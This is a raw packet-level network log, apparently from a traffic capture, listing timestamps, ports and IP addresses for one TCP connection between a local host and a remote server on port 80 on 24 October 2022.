Oct 24, 2022 11:00:50.293418884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293446064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293472052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293498993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293500900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293514013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293525934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293553114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293569088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293581009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293606997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293617964 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293636084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293663979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293674946 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293692112 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293719053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293731928 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.293745995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.293781996 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314318895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314390898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314424038 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314454079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314482927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314512014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314538956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314568043 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314580917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314594030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314619064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314621925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314631939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314651012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314677954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314678907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314702988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314718962 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314728022 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314745903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314765930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314785957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314814091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314824104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314843893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314871073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314874887 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314923048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314932108 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.314951897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.314979076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315000057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315007925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315036058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315047979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315061092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315088987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315115929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315119028 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315144062 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315155983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315175056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315202951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315212965 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315227985 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315260887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315274954 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315288067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315318108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315327883 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315347910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315376997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315387011 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315407991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315437078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315448999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315466881 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315498114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315506935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315526009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315557957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315563917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315588951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315619946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315633059 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315656900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315685987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315697908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315716028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315743923 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315752029 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315771103 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315798998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315812111 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315826893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315854073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315864086 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315881968 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315911055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315934896 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315941095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315968990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.315979004 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.315998077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316024065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316041946 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316050053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316082001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316096067 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316109896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316137075 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316150904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316164970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316195965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316203117 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316225052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316256046 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316281080 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316286087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316318035 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316335917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316345930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316373110 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316384077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316401005 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316428900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316438913 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316456079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316483974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316498995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316513062 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316541910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316553116 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316574097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316602945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316617012 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316631079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316658974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316668987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316685915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316711903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316725969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316737890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316766024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316775084 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316797972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316826105 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316844940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316857100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316884041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316899061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316907883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316931963 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316946983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.316955090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316981077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.316992998 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317006111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317034006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317049980 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317076921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317106009 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317121029 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317136049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317162991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317174911 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317187071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317215919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317245960 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317249060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317277908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317285061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317308903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317348003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317357063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317375898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317406893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317414999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317435026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317466021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317471981 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317492008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317507982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317522049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317532063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317552090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317583084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317594051 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317610979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317637920 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317648888 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317666054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317692041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317703009 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317722082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317753077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317764044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317776918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317780018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317811012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317826986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317837954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317867041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317882061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317898989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317929983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317939997 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317949057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.317958117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317986965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.317998886 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318017006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318047047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318056107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318075895 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318106890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318120956 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318135977 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318166018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318175077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318197012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.318236113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318248987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318371058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.318516970 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.338772058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.338825941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.338856936 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.338918924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.338948965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.338963032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.338977098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339004040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339030027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339046001 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339056015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339082956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339087963 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339111090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339133024 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339134932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339159966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339179993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339186907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339215040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339241028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339241982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339265108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339278936 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339289904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339318037 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339329958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339342117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339365959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339389086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339399099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339412928 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339426041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339437008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339461088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339476109 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339485884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339513063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339529037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339536905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339562893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339576006 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339589119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339612007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339627028 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339637995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339663029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339675903 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339693069 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339716911 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339732885 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339742899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339770079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339782953 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339795113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339823961 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339835882 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339850903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339879036 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339893103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339905024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339931965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339941978 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.339960098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.339987040 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340003014 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340012074 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340038061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340053082 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340063095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340087891 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340100050 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340112925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340137959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340152979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340162039 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340186119 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340198994 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340209007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340234041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340250969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340257883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340282917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340296984 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340306044 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340331078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340343952 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340354919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340380907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340404987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340409994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340429068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340451956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340461969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340476036 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340495110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340501070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340528011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340554953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340555906 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340580940 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340601921 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340609074 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340634108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340651035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340658903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340686083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340702057 CEST	49719	80	192.168.2.3	131.188.40.189
